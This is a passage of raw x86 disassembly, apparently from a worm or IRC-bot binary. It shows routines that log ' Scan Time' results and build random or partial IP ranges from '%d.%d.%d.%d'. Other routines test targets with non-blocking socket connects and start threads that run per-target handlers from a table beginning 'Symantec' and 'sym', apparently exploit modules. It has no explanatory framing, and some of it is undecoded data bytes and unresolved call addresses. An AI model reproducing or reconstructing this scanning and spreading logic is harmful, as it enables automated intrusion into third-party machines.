		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE3A4
		push	offset unk_431F04
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F50
		push	eax
		call	sub_41B886
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
		dd 840F087Dh, 118h, 431B00BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F6C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dw 68E8h
		db 4Eh,	2Eh, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FF0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FD0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		call	near ptr 2690000h
		nop
		mov	edi, offset byte_42910C
		push	103h
		push	edi
		push	offset dword_4CD960
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA6C
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432110
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		call	near ptr 2690000h
		nop
		push	103h
		push	edi
		push	offset dword_4CDC08
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD14
		push	offset unk_4320DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset word_40E992
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE034
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDAC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43200C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB57C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB650
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C
		push	esi
		mov	edi, eax
		call	dword_4CB6EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 26B084Fh
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E390[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432144
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD7A0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		nop
		call	near ptr 2690F24h
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26F08BFh


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		nop
		call	near ptr 2700000h
		push	80000400h
		push	esi
		nop
		call	near ptr 26F0E8Eh
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432250
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
